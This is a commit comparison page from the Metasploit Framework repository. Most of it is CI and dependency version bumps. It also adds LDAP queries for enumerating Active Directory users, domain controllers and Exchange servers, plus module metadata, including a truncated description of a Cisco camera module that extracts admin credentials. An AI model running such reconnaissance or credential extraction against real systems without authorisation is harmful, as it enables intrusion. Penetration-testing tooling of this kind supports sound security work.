Compare commits
336 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 50ba675754 | |||
| d49b74d164 | |||
| 988ef6c256 | |||
| 9348381aa6 | |||
| 5cf7a2de92 | |||
| 6d1f64d3e9 | |||
| 1000b351f1 | |||
| f093794864 | |||
| e7d7d9b41a | |||
| fdaab8dbbc | |||
| eed0b8b4ce | |||
| 6918cfda36 | |||
| 2dc2d8e7d5 | |||
| afd099eff5 | |||
| 6ea5294fcd | |||
| 76b36879c6 | |||
| 6ddec82d89 | |||
| 1734042e64 | |||
| c9fb0950d9 | |||
| 59fd656cb8 | |||
| 015ccfe62a | |||
| aac8ecbfe6 | |||
| e6d4a80e0f | |||
| 60a045eaaa | |||
| dc4d3ff21b | |||
| f63ad564a3 | |||
| 09d3acf696 | |||
| a211478d92 | |||
| 773c6be61b | |||
| 8650aeb5bb | |||
| fa222f3b76 | |||
| f4922b47a9 | |||
| 846cca42c9 | |||
| 318d608608 | |||
| a68986599d | |||
| b20c275df6 | |||
| c54658b035 | |||
| 255bc6e558 | |||
| 8bd33d61a2 | |||
| 7f02daac5b | |||
| b8f6e2d549 | |||
| 06f0fffc20 | |||
| 64c3f12573 | |||
| 0be211025e | |||
| 49c98215a0 | |||
| b56cf5ea21 | |||
| a8e73d9fa9 | |||
| 38b845f247 | |||
| 5866cae84c | |||
| 205eec1e56 | |||
| 821c43a6b4 | |||
| 911e5caf7e | |||
| 4d4f7b8c55 | |||
| cab4c1a297 | |||
| 8b3e9f89b5 | |||
| 5ad10fb6f9 | |||
| 2a337c9436 | |||
| 779482c868 | |||
| 0ac1a9d704 | |||
| b2683981dc | |||
| e99783f329 | |||
| 1103ed6b3e | |||
| 109f0b71e7 | |||
| 6380c69775 | |||
| 44ef271623 | |||
| bb22c81c8b | |||
| 365badb369 | |||
| c45262cd46 | |||
| 5d7fb283b7 | |||
| 6564ea9719 | |||
| 2cde5f6364 | |||
| caff6a53f5 | |||
| ea581482d4 | |||
| be25e1fc77 | |||
| 6e8d04ddc9 | |||
| cc27f563ec | |||
| 5e1888ee46 | |||
| 0fd61e859d | |||
| bba4a23f65 | |||
| b6c3cb41bd | |||
| 74eff9ffac | |||
| 507a8961ef | |||
| 0334beada2 | |||
| 4202502992 | |||
| d08aeda4d3 | |||
| 756c910b9a | |||
| 1472f72876 | |||
| 7c21c57564 | |||
| 713e476139 | |||
| 7844b8f5f8 | |||
| 530174c940 | |||
| 969c81e41c | |||
| 91f2a48270 | |||
| 9c6a198453 | |||
| a858c15b47 | |||
| abb40ea4d6 | |||
| 4cedbadbf9 | |||
| 11fcbb3509 | |||
| c244399f1f | |||
| f87482351c | |||
| d8faa4dd37 | |||
| 26eee72512 | |||
| 0bb14d084f | |||
| af712d4a89 | |||
| 2ec25fc3e5 | |||
| 8febcd1b13 | |||
| a314423e81 | |||
| 163d4d5b11 | |||
| 0b9e1bbbb3 | |||
| 2e13902fd0 | |||
| fd2b325e44 | |||
| 937f3b13b0 | |||
| b42c26b1e1 | |||
| a95d239a88 | |||
| 2433cccde5 | |||
| 75c6e80d68 | |||
| f65119b353 | |||
| 8253e99c11 | |||
| 7489b23336 | |||
| e0514a5bf9 | |||
| 36e542e2e1 | |||
| 449a7b71d5 | |||
| 6c2cf58803 | |||
| fff435fcef | |||
| a54d2402dc | |||
| cd81ced5cb | |||
| 82182f7815 | |||
| 8ed4293e9c | |||
| 6d45320c0c | |||
| ada3be8f7b | |||
| 175c428ff9 | |||
| 4f5c711dc7 | |||
| 3cd39d528c | |||
| ea1207d6e1 | |||
| a0058c03b7 | |||
| f0e62de46a | |||
| 9a4a590b27 | |||
| 207862a810 | |||
| ef8fe215e1 | |||
| d71350dfe6 | |||
| 0602bc0aac | |||
| 4085efa778 | |||
| d86e666e18 | |||
| 6ac0a7c48f | |||
| 7277483022 | |||
| 228d6dd55b | |||
| c66f98bae6 | |||
| 7ee0a78ffc | |||
| e7edafbcfb | |||
| 110e9ddeee | |||
| 4ff03b2305 | |||
| c447cc53fd | |||
| a727ebbf5e | |||
| f2a70c43cb | |||
| 1f7b3319a9 | |||
| 11a00fa1f2 | |||
| f324b8c24e | |||
| c8540a35d6 | |||
| baa686f5e0 | |||
| e2973b0c2e | |||
| a4a2b6e6db | |||
| 98449b6ce6 | |||
| 362318c95b | |||
| d6738c3b18 | |||
| 153dbfb995 | |||
| 5aa5ae32e0 | |||
| 1e6924b19c | |||
| d26eec6a44 | |||
| 1a94376de1 | |||
| d36bee8755 | |||
| b00cadfbeb | |||
| de22141e1b | |||
| c770b7dd39 | |||
| 778ee0ed06 | |||
| 4f3b59bee3 | |||
| 963500f573 | |||
| 1cc42d15d0 | |||
| 5577381dd1 | |||
| 7df60f71b6 | |||
| d45a8aa9fb | |||
| 02519e96c6 | |||
| 81ca555d28 | |||
| 9191003c74 | |||
| 4e4a1da4e4 | |||
| e76ef61452 | |||
| f279e8d6ca | |||
| 2d05bf7412 | |||
| 7c0bb35a4b | |||
| 09ea05754c | |||
| aa51353605 | |||
| 8a22ec8da8 | |||
| 19d044621c | |||
| 6ad17d587c | |||
| d6d51eecb0 | |||
| bcd1f63848 | |||
| 00b85e9bb4 | |||
| d53dc7ca90 | |||
| 1ac4a74070 | |||
| 7c82c1cf32 | |||
| c0721305e1 | |||
| b4b5f31c3d | |||
| dbf9ca5f56 | |||
| 860cd38bbb | |||
| 488d361721 | |||
| 36811ea364 | |||
| 7a79b8cbc2 | |||
| a3ce694b88 | |||
| 4bbae96840 | |||
| a9dfb6ccb0 | |||
| 4def2e56bc | |||
| f779f0f482 | |||
| 74496c1a29 | |||
| 72b1dbfeee | |||
| 1094ce95c0 | |||
| 8b42e893b1 | |||
| 24ab27bdfe | |||
| eca8af4e2a | |||
| b16da0fe92 | |||
| bdf8defe53 | |||
| a97f88423c | |||
| 665bde7f60 | |||
| a6bdc5ea29 | |||
| 14e3c694ff | |||
| b4d2294255 | |||
| d63912a1b8 | |||
| fe99eb0d0a | |||
| e6282c3ff8 | |||
| f3731191a1 | |||
| bc0b27e1e2 | |||
| fc3b08fb8b | |||
| 420e67aca9 | |||
| 628f5970b1 | |||
| fbc4893a84 | |||
| e0a5bfd7b3 | |||
| abe90c1089 | |||
| e1b0e871b3 | |||
| e91beedc4a | |||
| 210bd33a01 | |||
| c4a245640e | |||
| 8c729e8414 | |||
| 6b20a5a0a9 | |||
| d1f6433a77 | |||
| ebe61b50a7 | |||
| 135a25be4d | |||
| d23c175f28 | |||
| 318520a042 | |||
| a7676dc375 | |||
| e7ecd1618a | |||
| ecf8434f32 | |||
| 09ffd7f115 | |||
| a4dee1a171 | |||
| e316693bdc | |||
| 09c1cf4308 | |||
| f9a951d034 | |||
| 5dfec3f746 | |||
| 94db8b957b | |||
| e46a71f595 | |||
| a5cb271b21 | |||
| 2974f55126 | |||
| 3401752fa7 | |||
| a7b379f292 | |||
| 59ea337c6b | |||
| 336a1feaf7 | |||
| d2769ef82b | |||
| 526ce819c0 | |||
| e1bb088ddb | |||
| f02012a8ee | |||
| 28c3dd5739 | |||
| ebb15ee9e7 | |||
| e3e6afbaa3 | |||
| 2eaccd657f | |||
| dcd4caf977 | |||
| c388499acf | |||
| f043b121b3 | |||
| 2af8042bfa | |||
| 5fd4c6c306 | |||
| adecb0d94b | |||
| e7e3ea1a31 | |||
| 77be219bc2 | |||
| 00444a6e62 | |||
| 1dcfc3406a | |||
| 304d717757 | |||
| 7468f6ecd8 | |||
| 25f50e607c | |||
| 2a8d95c121 | |||
| 1e05630d26 | |||
| 2d1acc0369 | |||
| 03ebbaf2d0 | |||
| 67cf39f4b9 | |||
| 32e5884589 | |||
| c5f2507ee0 | |||
| 8c236e789e | |||
| 3c56e272a1 | |||
| 438b4b1bf8 | |||
| 2a1a8aa632 | |||
| d4809219b9 | |||
| 515bfd296e | |||
| 65b9e1cb13 | |||
| 6f33ddd867 | |||
| 5f3268eae7 | |||
| 5257de67f9 | |||
| 1b5e172f29 | |||
| f8101aa8e4 | |||
| fde4d4ae22 | |||
| 59685f82f8 | |||
| 56dd61027f | |||
| 8090fdb273 | |||
| 67c60c9c5f | |||
| bcd4b6e49f | |||
| 9685bc4bc3 | |||
| 134ce0d7bd | |||
| 83bc954e9d | |||
| 46b5092be4 | |||
| 3a9feac1cf | |||
| 966d469aa5 | |||
| f9664575c5 | |||
| d785e90bd9 | |||
| 3f63f9fcd1 | |||
| 7d111938d5 | |||
| fa8d109f65 | |||
| b42654875e | |||
| ac4f50ebad | |||
| 5bc618e642 | |||
| ef1b37f6e5 | |||
| 75a76a52f4 | |||
| d20fa45f7a | |||
| 9373ab6bd3 | |||
| 318465771b | |||
| e4947cd127 | |||
| 2c323ae4db | |||
| 96e7fdb214 | |||
| 19ef3eb8aa | |||
| f7ce4c9879 | |||
| b9bef8bbdd | |||
| bba97a70ed | |||
| 061987982f |
@@ -172,7 +172,7 @@ jobs:
|
||||
|
||||
This includes:
|
||||
|
||||
- All of the item points within this [tempate](https://github.com/rapid7/metasploit-framework/blob/master/.github/ISSUE_TEMPLATE/bug_report.md)
|
||||
- All of the item points within this [template](https://github.com/rapid7/metasploit-framework/blob/master/.github/ISSUE_TEMPLATE/bug_report.md)
|
||||
- The result of the \`debug\` command in your Metasploit console
|
||||
- Screenshots showing the issues you're having
|
||||
- Exact replication steps
|
||||
|
||||
@@ -44,7 +44,7 @@ jobs:
|
||||
/usr/bin/docker-compose build
|
||||
|
||||
test:
|
||||
runs-on: ubuntu-18.04
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
services:
|
||||
@@ -66,8 +66,15 @@ jobs:
|
||||
ruby:
|
||||
- 2.6
|
||||
- 2.7
|
||||
- 3.0.3
|
||||
- 3.1.1
|
||||
- 3.0
|
||||
- 3.1
|
||||
os:
|
||||
- ubuntu-18.04
|
||||
- ubuntu-22.04
|
||||
exclude:
|
||||
- { os: ubuntu-22.04, ruby: 2.6 }
|
||||
- { os: ubuntu-22.04, ruby: 2.7 }
|
||||
- { os: ubuntu-22.04, ruby: 3.0 }
|
||||
test_cmd:
|
||||
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"
|
||||
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"
|
||||
|
||||
+26
-24
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.2.7)
|
||||
metasploit-framework (6.2.13)
|
||||
actionpack (~> 6.0)
|
||||
activerecord (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
@@ -129,13 +129,13 @@ GEM
|
||||
activerecord (>= 3.1.0, < 8)
|
||||
ast (2.4.2)
|
||||
aws-eventstream (1.2.0)
|
||||
aws-partitions (1.598.0)
|
||||
aws-sdk-core (3.131.1)
|
||||
aws-partitions (1.602.0)
|
||||
aws-sdk-core (3.131.2)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
aws-partitions (~> 1, >= 1.525.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
jmespath (~> 1, >= 1.6.1)
|
||||
aws-sdk-ec2 (1.317.0)
|
||||
aws-sdk-ec2 (1.320.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-iam (1.69.0)
|
||||
@@ -190,7 +190,8 @@ GEM
|
||||
faraday-net_http (~> 2.0)
|
||||
ruby2_keywords (>= 0.0.4)
|
||||
faraday-net_http (2.0.3)
|
||||
faraday-retry (1.0.3)
|
||||
faraday-retry (2.0.0)
|
||||
faraday (~> 2.0)
|
||||
faye-websocket (0.11.1)
|
||||
eventmachine (>= 0.12.0)
|
||||
websocket-driver (>= 0.5.1)
|
||||
@@ -233,7 +234,7 @@ GEM
|
||||
activemodel (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
railties (~> 6.0)
|
||||
metasploit-credential (5.0.7)
|
||||
metasploit-credential (5.0.8)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 5.0.0)
|
||||
@@ -243,7 +244,7 @@ GEM
|
||||
rex-socket
|
||||
rubyntlm
|
||||
rubyzip
|
||||
metasploit-model (4.0.4)
|
||||
metasploit-model (4.0.5)
|
||||
activemodel (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
railties (~> 6.0)
|
||||
@@ -261,9 +262,9 @@ GEM
|
||||
metasploit_payloads-mettle (1.0.18)
|
||||
method_source (1.0.0)
|
||||
mini_portile2 (2.8.0)
|
||||
minitest (5.15.0)
|
||||
minitest (5.16.1)
|
||||
mqtt (0.5.0)
|
||||
msgpack (1.5.2)
|
||||
msgpack (1.5.3)
|
||||
multi_json (1.15.0)
|
||||
mustermann (1.1.1)
|
||||
ruby2_keywords (~> 0.0.1)
|
||||
@@ -275,7 +276,7 @@ GEM
|
||||
digest
|
||||
net-protocol
|
||||
timeout
|
||||
net-ssh (6.1.0)
|
||||
net-ssh (7.0.1)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.3.0)
|
||||
nio4r (2.5.8)
|
||||
@@ -283,11 +284,11 @@ GEM
|
||||
mini_portile2 (~> 2.8.0)
|
||||
racc (~> 1.4)
|
||||
nori (2.6.0)
|
||||
octokit (4.24.0)
|
||||
octokit (4.25.1)
|
||||
faraday (>= 1, < 3)
|
||||
sawyer (~> 0.9)
|
||||
openssl-ccm (1.2.2)
|
||||
openssl-cmac (2.0.1)
|
||||
openssl-ccm (1.2.3)
|
||||
openssl-cmac (2.0.2)
|
||||
openvas-omp (0.0.4)
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
@@ -302,7 +303,7 @@ GEM
|
||||
hashery (~> 2.0)
|
||||
ruby-rc4
|
||||
ttfunk
|
||||
pg (1.3.5)
|
||||
pg (1.4.1)
|
||||
pry (0.13.1)
|
||||
coderay (~> 1.1)
|
||||
method_source (~> 1.0)
|
||||
@@ -313,11 +314,11 @@ GEM
|
||||
puma (5.6.4)
|
||||
nio4r (~> 2.0)
|
||||
racc (1.6.0)
|
||||
rack (2.2.3.1)
|
||||
rack (2.2.4)
|
||||
rack-protection (2.2.0)
|
||||
rack
|
||||
rack-test (1.1.0)
|
||||
rack (>= 1.0, < 3)
|
||||
rack-test (2.0.2)
|
||||
rack (>= 1.3)
|
||||
rails-dom-testing (2.0.3)
|
||||
activesupport (>= 4.2.0)
|
||||
nokogiri (>= 1.6)
|
||||
@@ -351,7 +352,7 @@ GEM
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.31)
|
||||
rex-exploitation (0.1.33)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
@@ -376,7 +377,7 @@ GEM
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.39)
|
||||
rex-socket (0.1.40)
|
||||
rex-core
|
||||
rex-sslscan (0.1.7)
|
||||
rex-core
|
||||
@@ -411,7 +412,8 @@ GEM
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.11.0)
|
||||
rubocop (1.30.1)
|
||||
rubocop (1.31.1)
|
||||
json (~> 2.3)
|
||||
parallel (~> 1.10)
|
||||
parser (>= 3.1.0.0)
|
||||
rainbow (>= 2.2.2, < 4.0)
|
||||
@@ -427,7 +429,7 @@ GEM
|
||||
ruby-progressbar (1.11.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby2_keywords (0.0.5)
|
||||
ruby_smb (3.1.6)
|
||||
ruby_smb (3.1.7)
|
||||
bindata
|
||||
openssl-ccm
|
||||
openssl-cmac
|
||||
@@ -449,7 +451,7 @@ GEM
|
||||
rack (~> 2.2)
|
||||
rack-protection (= 2.2.0)
|
||||
tilt (~> 2.0)
|
||||
sqlite3 (1.4.2)
|
||||
sqlite3 (1.4.4)
|
||||
sshkey (2.0.0)
|
||||
swagger-blocks (3.0.0)
|
||||
thin (1.8.1)
|
||||
@@ -468,7 +470,7 @@ GEM
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
unf_ext (0.0.8.2)
|
||||
unicode-display_width (2.1.0)
|
||||
unicode-display_width (2.2.0)
|
||||
unix-crypt (1.3.0)
|
||||
warden (1.2.9)
|
||||
rack (>= 2.0.9)
|
||||
@@ -494,7 +496,7 @@ GEM
|
||||
webrick
|
||||
yard (0.9.28)
|
||||
webrick (~> 1.7.0)
|
||||
zeitwerk (2.5.4)
|
||||
zeitwerk (2.6.0)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
+23
-23
@@ -10,9 +10,9 @@ afm, 0.2.2, MIT
|
||||
arel-helpers, 2.14.0, MIT
|
||||
ast, 2.4.2, MIT
|
||||
aws-eventstream, 1.2.0, "Apache 2.0"
|
||||
aws-partitions, 1.598.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.131.1, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.317.0, "Apache 2.0"
|
||||
aws-partitions, 1.602.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.131.2, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.320.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.69.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.57.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.114.0, "Apache 2.0"
|
||||
@@ -44,7 +44,7 @@ factory_bot_rails, 6.2.0, MIT
|
||||
faker, 2.21.0, MIT
|
||||
faraday, 2.3.0, MIT
|
||||
faraday-net_http, 2.0.3, MIT
|
||||
faraday-retry, 1.0.3, MIT
|
||||
faraday-retry, 2.0.0, MIT
|
||||
faye-websocket, 0.11.1, "Apache 2.0"
|
||||
ffi, 1.15.5, "New BSD"
|
||||
filesize, 0.2.0, MIT
|
||||
@@ -69,32 +69,32 @@ loofah, 2.18.0, MIT
|
||||
memory_profiler, 1.0.0, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 4.0.4, "New BSD"
|
||||
metasploit-credential, 5.0.7, "New BSD"
|
||||
metasploit-framework, 6.2.7, "New BSD"
|
||||
metasploit-model, 4.0.4, "New BSD"
|
||||
metasploit-credential, 5.0.8, "New BSD"
|
||||
metasploit-framework, 6.2.13, "New BSD"
|
||||
metasploit-model, 4.0.5, "New BSD"
|
||||
metasploit-payloads, 2.0.94, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 5.0.5, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.18, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
mini_portile2, 2.8.0, MIT
|
||||
minitest, 5.15.0, MIT
|
||||
minitest, 5.16.1, MIT
|
||||
mqtt, 0.5.0, MIT
|
||||
msgpack, 1.5.2, "Apache 2.0"
|
||||
msgpack, 1.5.3, "Apache 2.0"
|
||||
multi_json, 1.15.0, MIT
|
||||
mustermann, 1.1.1, MIT
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-ldap, 0.17.1, MIT
|
||||
net-protocol, 0.1.3, "ruby, Simplified BSD"
|
||||
net-smtp, 0.3.1, "ruby, Simplified BSD"
|
||||
net-ssh, 6.1.0, MIT
|
||||
net-ssh, 7.0.1, MIT
|
||||
network_interface, 0.0.2, MIT
|
||||
nexpose, 7.3.0, "New BSD"
|
||||
nio4r, 2.5.8, MIT
|
||||
nokogiri, 1.13.6, MIT
|
||||
nori, 2.6.0, MIT
|
||||
octokit, 4.24.0, MIT
|
||||
openssl-ccm, 1.2.2, MIT
|
||||
openssl-cmac, 2.0.1, MIT
|
||||
octokit, 4.25.1, MIT
|
||||
openssl-ccm, 1.2.3, MIT
|
||||
openssl-cmac, 2.0.2, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
packetfu, 1.1.13, BSD
|
||||
parallel, 1.22.1, MIT
|
||||
@@ -102,15 +102,15 @@ parser, 3.1.2.0, MIT
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.1, LGPL-2.1
|
||||
pdf-reader, 2.10.0, MIT
|
||||
pg, 1.3.5, "Simplified BSD"
|
||||
pg, 1.4.1, "Simplified BSD"
|
||||
pry, 0.13.1, MIT
|
||||
pry-byebug, 3.9.0, MIT
|
||||
public_suffix, 4.0.7, MIT
|
||||
puma, 5.6.4, "New BSD"
|
||||
racc, 1.6.0, "ruby, Simplified BSD"
|
||||
rack, 2.2.3.1, MIT
|
||||
rack, 2.2.4, MIT
|
||||
rack-protection, 2.2.0, MIT
|
||||
rack-test, 1.1.0, MIT
|
||||
rack-test, 2.0.2, MIT
|
||||
rails-dom-testing, 2.0.3, MIT
|
||||
rails-html-sanitizer, 1.4.3, MIT
|
||||
railties, 6.1.6, MIT
|
||||
@@ -125,7 +125,7 @@ rex-arch, 0.1.14, "New BSD"
|
||||
rex-bin_tools, 0.1.8, "New BSD"
|
||||
rex-core, 0.1.28, "New BSD"
|
||||
rex-encoder, 0.1.6, "New BSD"
|
||||
rex-exploitation, 0.1.31, "New BSD"
|
||||
rex-exploitation, 0.1.33, "New BSD"
|
||||
rex-java, 0.1.6, "New BSD"
|
||||
rex-mime, 0.1.7, "New BSD"
|
||||
rex-nop, 0.1.2, "New BSD"
|
||||
@@ -134,7 +134,7 @@ rex-powershell, 0.1.96, "New BSD"
|
||||
rex-random_identifier, 0.1.8, "New BSD"
|
||||
rex-registry, 0.1.4, "New BSD"
|
||||
rex-rop_builder, 0.1.4, "New BSD"
|
||||
rex-socket, 0.1.39, "New BSD"
|
||||
rex-socket, 0.1.40, "New BSD"
|
||||
rex-sslscan, 0.1.7, "New BSD"
|
||||
rex-struct2, 0.1.3, "New BSD"
|
||||
rex-text, 0.2.38, "New BSD"
|
||||
@@ -148,14 +148,14 @@ rspec-mocks, 3.11.1, MIT
|
||||
rspec-rails, 5.1.2, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.11.0, MIT
|
||||
rubocop, 1.30.1, MIT
|
||||
rubocop, 1.31.1, MIT
|
||||
rubocop-ast, 1.18.0, MIT
|
||||
ruby-macho, 3.0.0, MIT
|
||||
ruby-prof, 1.4.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.11.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
|
||||
ruby_smb, 3.1.6, "New BSD"
|
||||
ruby_smb, 3.1.7, "New BSD"
|
||||
rubyntlm, 0.6.3, MIT
|
||||
rubyzip, 2.3.2, "Simplified BSD"
|
||||
sawyer, 0.9.2, MIT
|
||||
@@ -163,7 +163,7 @@ simplecov, 0.18.2, MIT
|
||||
simplecov-html, 0.12.3, MIT
|
||||
simpleidn, 0.2.1, MIT
|
||||
sinatra, 2.2.0, MIT
|
||||
sqlite3, 1.4.2, "New BSD"
|
||||
sqlite3, 1.4.4, "New BSD"
|
||||
sshkey, 2.0.0, MIT
|
||||
swagger-blocks, 3.0.0, MIT
|
||||
thin, 1.8.1, "GPL-2.0+, ruby"
|
||||
@@ -176,7 +176,7 @@ tzinfo, 2.0.4, MIT
|
||||
tzinfo-data, 1.2022.1, MIT
|
||||
unf, 0.1.4, "2-clause BSDL"
|
||||
unf_ext, 0.0.8.2, MIT
|
||||
unicode-display_width, 2.1.0, MIT
|
||||
unicode-display_width, 2.2.0, MIT
|
||||
unix-crypt, 1.3.0, BSD
|
||||
warden, 1.2.9, MIT
|
||||
webrick, 1.7.0, "ruby, Simplified BSD"
|
||||
@@ -188,4 +188,4 @@ winrm, 2.3.6, "Apache 2.0"
|
||||
xdr, 3.0.3, "Apache 2.0"
|
||||
xmlrpc, 0.3.2, "ruby, Simplified BSD"
|
||||
yard, 0.9.28, MIT
|
||||
zeitwerk, 2.5.4, MIT
|
||||
zeitwerk, 2.6.0, MIT
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
openssl_conf = openssl_init
|
||||
|
||||
[openssl_init]
|
||||
providers = provider_sect
|
||||
|
||||
[provider_sect]
|
||||
default = default_sect
|
||||
legacy = legacy_sect
|
||||
|
||||
[default_sect]
|
||||
activate = 1
|
||||
|
||||
[legacy_sect]
|
||||
activate = 1
|
||||
@@ -0,0 +1,98 @@
|
||||
---
|
||||
queries:
|
||||
- action: ENUM_ALL_OBJECT_CLASS
|
||||
description: 'Dump all objects containing any objectClass field.'
|
||||
filter: '(objectClass=*)'
|
||||
attributes:
|
||||
- dn
|
||||
- objectClass
|
||||
- action: ENUM_ALL_OBJECT_CATEGORY
|
||||
description: 'Dump all objects containing any objectCategory field.'
|
||||
filter: '(objectCategory=*)'
|
||||
attributes:
|
||||
- dn
|
||||
- objectCategory
|
||||
- action: ENUM_ACCOUNTS
|
||||
description: 'Dump info about all known user accounts in the domain.'
|
||||
filter: '(|(objectClass=organizationalPerson)(sAMAccountType=805306368))'
|
||||
attributes:
|
||||
- dn
|
||||
- name
|
||||
- displayName
|
||||
- samAccountName
|
||||
- userPrincipalName
|
||||
- userAccountControl
|
||||
- homeDirectory
|
||||
- homeDrive
|
||||
- profilePath
|
||||
- action: ENUM_COMPUTERS
|
||||
description: 'Dump all objects containing an objectCategory of Computer.'
|
||||
filter: '(objectCategory=Computer)'
|
||||
attributes:
|
||||
- dn
|
||||
- displayName
|
||||
- distinguishedName
|
||||
- dNSHostName
|
||||
- description
|
||||
- givenName
|
||||
- name
|
||||
- operatingSystemVersion
|
||||
- operatingSystemServicePack
|
||||
- action: ENUM_DOMAIN_CONTROLLERS
|
||||
description: 'Dump all known domain controllers.'
|
||||
filter: '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))'
|
||||
attributes:
|
||||
- dn
|
||||
- displayName
|
||||
- distinguishedName
|
||||
- dNSHostName
|
||||
- description
|
||||
- givenName
|
||||
- name
|
||||
- operatingSystemVersion
|
||||
- operatingSystemServicePack
|
||||
- action: ENUM_EXCHANGE_SERVERS
|
||||
description: 'Dump info about all known Exchange servers.'
|
||||
filter: '(&(objectClass=msExchExchangeServer)(!(objectClass=msExchExchangeServerPolicy)))'
|
||||
attributes:
|
||||
- dn
|
||||
- displayName
|
||||
- distinguishedName
|
||||
- dNSHostName
|
||||
- description
|
||||
- givenName
|
||||
- name
|
||||
- operatingSystemVersion
|
||||
- operatingSystemServicePack
|
||||
- action: ENUM_EXCHANGE_RECIPIENTS
|
||||
description: 'Dump info about all known Exchange recipients.'
|
||||
filter: '(|(mailNickname=*)(proxyAddresses=FAX:*))'
|
||||
attributes:
|
||||
- dn
|
||||
- mailNickname
|
||||
- proxyAddresses
|
||||
- name
|
||||
- action: ENUM_GROUPS
|
||||
description: 'Dump info about all known groups in the LDAP environment.'
|
||||
filter: '(|(objectClass=group)(objectClass=groupOfNames)(groupType:1.2.840.113556.1.4.803:=2147483648)(objectClass=posixGroup))'
|
||||
attributes:
|
||||
- dn
|
||||
- name
|
||||
- groupType
|
||||
- memberof
|
||||
- action: ENUM_ORGUNITS
|
||||
description: 'Dump info about all known organizational units in the LDAP environment.'
|
||||
filter: '(objectClass=organizationalUnit)'
|
||||
attributes:
|
||||
- dn
|
||||
- displayName
|
||||
- name
|
||||
- description
|
||||
- action: ENUM_ORGROLES
|
||||
description: 'Dump info about all known organization roles in the LDAP environment.'
|
||||
filter: '(objectClass=organizationalRole)'
|
||||
attributes:
|
||||
- dn
|
||||
- displayName
|
||||
- name
|
||||
- description
|
||||
@@ -0,0 +1,8 @@
|
||||
---
|
||||
queries:
|
||||
# - action: SAMPLE_ACTION
|
||||
# description: 'A description.'
|
||||
# filter: '(objectClass=*)'
|
||||
# attributes:
|
||||
# - dn
|
||||
# - objectClass
|
||||
@@ -0,0 +1,2 @@
|
||||
$someText = "Hello!" ; $someText > "C:\flag.txt"
|
||||
|
||||
+1043
-38
@@ -570,7 +570,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-02-16 13:56:50 +0000",
|
||||
"mod_time": "2022-08-03 14:27:30 +0000",
|
||||
"path": "/modules/auxiliary/admin/dcerpc/cve_2020_1472_zerologon.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/dcerpc/cve_2020_1472_zerologon",
|
||||
@@ -580,6 +580,16 @@
|
||||
"notes": {
|
||||
"AKA": [
|
||||
"Zerologon"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
"config-changes",
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
@@ -17166,6 +17176,65 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/cisco_pvc2300_download_config": {
|
||||
"name": "Cisco PVC2300 POE Video Camera configuration download",
|
||||
"fullname": "auxiliary/gather/cisco_pvc2300_download_config",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2013-07-12",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Craig Heffner",
|
||||
"Erik Wynter"
|
||||
],
|
||||
"description": "This module exploits an information disclosure vulnerability in Cisco PVC2300 cameras in order\n to download the configuration file containing the admin credentials for the web interface.\n\n The module first performs a basic check to see if the target is likely Cisco PVC2300. If so, the\n module attempts to obtain a sessionID via an HTTP GET request to the vulnerable /oamp/System.xml\n endpoint using hardcoded credentials.\n\n If a session ID is obtained, the module uses it in another HTTP GET request to /oamp/System.xml\n with the aim of downloading the configuration file. The configuration file, if obtained, is then\n decoded and saved to the loot directory. Finally, the module attempts to extract the admin\n credentials to the web interface from the decoded configuration file.\n\n No known solution was made available for this vulnerability and no CVE 